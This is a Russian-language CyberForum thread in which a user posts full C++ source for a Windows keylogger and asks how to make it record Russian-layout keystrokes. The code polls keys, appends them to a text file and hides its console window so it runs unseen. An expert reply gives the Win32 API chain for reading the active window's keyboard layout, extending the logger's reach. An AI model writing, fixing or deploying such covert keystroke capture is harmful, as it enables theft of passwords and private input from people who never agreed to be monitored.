Форум программистов, компьютерный форум CyberForum.ru

Keylogger не работает с русской раскладкой - C++

Восстановить пароль Регистрация
 
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 45
25.04.2016, 08:25     Keylogger не работает с русской раскладкой #1
Все привет, для примера в инете нашел исходник кейлоггера, на англ все нормально пишет, а вот если стоит русская раскладка то оно записывает у файл англ символ, как можно сделать чтоб код понимал расскладку клавиатуры?
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include<iostream>
using namespace std;
#include<windows.h>
#include<winuser.h>
 
int save (int key_stroke, char *file);
void stealth();
int main()
{
    
    stealth();
    char i;
    
    while(1)
    {
            for(i = 8; i <= 190; i++)
            {
                  if (GetAsyncKeyState(i) == -32767)
                  save (i,"probe.txt");
                  }
                  }
                  
                  
    system("PAUSE");
    return 0;
}
/* *********************************************** */
/* *********************************************** */
int save (int key_stroke, char *file)
{
    if ((key_stroke==1)||(key_stroke==2))
    return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout<<key_stroke<<"\n";
    
    if (key_stroke==8)
     fprintf(OUTPUT_FILE, "%s" , "(backspace)");
    else if (key_stroke == 13)
     fprintf(OUTPUT_FILE, "%s" , "\n");
    else if (key_stroke == 32)
     fprintf(OUTPUT_FILE, "%s" , " ");
    else if (key_stroke == VK_TAB)
     fprintf(OUTPUT_FILE, "%s" , "(tab)");
    else if (key_stroke == VK_SHIFT)
     fprintf(OUTPUT_FILE, "%s" , "(shift)");
    else if (key_stroke == VK_CONTROL)
     fprintf(OUTPUT_FILE, "%s" , "(control)");
    else if (key_stroke == VK_ESCAPE)
     fprintf(OUTPUT_FILE, "%s" , "(escape)"); 
    else if (key_stroke == VK_END)
     fprintf(OUTPUT_FILE, "%s" , "(end)");
    else if (key_stroke == VK_HOME)
     fprintf(OUTPUT_FILE, "%s" , "(home)");  
    else if (key_stroke == VK_LEFT)
     fprintf(OUTPUT_FILE, "%s" , "(left)");
    else if (key_stroke == VK_UP)
     fprintf(OUTPUT_FILE, "%s" , "(up)"); 
    else if (key_stroke == VK_RIGHT)
     fprintf(OUTPUT_FILE, "%s" , "(right)");
    else if (key_stroke == VK_DOWN)
     fprintf(OUTPUT_FILE, "%s" , "(down)");
    else if (key_stroke == 190 || key_stroke == 110)
     fprintf(OUTPUT_FILE, "%s" , ".");
     else
     fprintf(OUTPUT_FILE, "%s" , &key_stroke);   
    fclose(OUTPUT_FILE);
    return 0;
}
/* *********************************************** */
/* *********************************************** */
void stealth()
{
     HWND stealth;
     AllocConsole();
     stealth = FindWindowA("ConsoleWindowClass", NULL);
     ShowWindow(stealth,0);
     
}
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
25.04.2016, 08:25     Keylogger не работает с русской раскладкой
Посмотрите здесь:

C++ Вывод даты в русской локализации (Linux)
C++ Для заданного в файле текста проверить, является ли каждая его литера гласной русской буквой
C++ Графический символ ASCII в русской локали (консоль)
C++ Теоретический момент по Keylogger на C++
Проверить наличие в тексте одного из знаков разделителей (“.” , ”?”, ”!”) перед каждой большой русской буквой C++
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
Убежденный
Системный программист
 Аватар для Убежденный
14216 / 6231 / 988
Регистрация: 02.05.2013
Сообщений: 10,390
Завершенные тесты: 1
25.04.2016, 10:17     Keylogger не работает с русской раскладкой #2
Цитата Сообщение от Prizrak2016 Посмотреть сообщение
как можно сделать чтоб код понимал расскладку клавиатуры?
GetGuiThreadInfo -> GetWindowThreadProcessId -> GetKeyboardLayout
Получишь раскладку клавиатуры активного окна. Далее можно смотреть в
сторону ToUnicodeEx, например, или MapVirtualKeyEx. Или даже переложить
функцию трансляции скан-кодов на систему (TranslateMessage).
При этом подход не будет работать для консольных приложений.
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 45
25.04.2016, 10:23  [ТС]     Keylogger не работает с русской раскладкой #3
Мне и не нужно для концольных, мне нужен перехват при работе компьютера

Добавлено через 52 секунды
GetGuiThreadInfo -> GetWindowThreadProcessId -> GetKeyboardLayout
Получишь раскладку клавиатуры активного окна. Далее можно смотреть в
сторону ToUnicodeEx, например, или MapVirtualKeyEx. Или даже переложить
функцию трансляции скан-кодов на систему (TranslateMessage).
При этом подход не будет работать для консольных приложений.


Можешь пожалуйста привети пример как получиьть раскладку клавиатуры, а то не совсем понял
Убежденный
Системный программист
 Аватар для Убежденный
14216 / 6231 / 988
Регистрация: 02.05.2013
Сообщений: 10,390
Завершенные тесты: 1
25.04.2016, 11:40     Keylogger не работает с русской раскладкой #4
Цитата Сообщение от Prizrak2016 Посмотреть сообщение
как получиьть раскладку клавиатуры
Раскладка клавиатуры устанавливается отдельно для потока.
То есть, тебе нужно сначала узнать поток, обслуживающий активное на данный
момент окно. HWND активного в данный момент окна можно узнать с помощью
GetGUIThreadInfo. Далее нужно по этому HWND узнать ID потока, для этого
делается вызов GetWindowThreadProcessId. Теперь у тебя есть ID потока.
Ну а дальше - GetKeyboardLayout. На выходе у тебя будет идентификатор клавиатурной
раскладки для активного окна. Что делать с ним дальше - зависит от устройства кейлоггера.
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 45
25.04.2016, 16:01  [ТС]     Keylogger не работает с русской раскладкой #5
Получаеться что эти метлды просто нужно вывзвать в мейне?
Yandex
Объявления
25.04.2016, 16:01     Keylogger не работает с русской раскладкой
Ответ Создать тему
Опции темы

Текущее время: 15:24. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru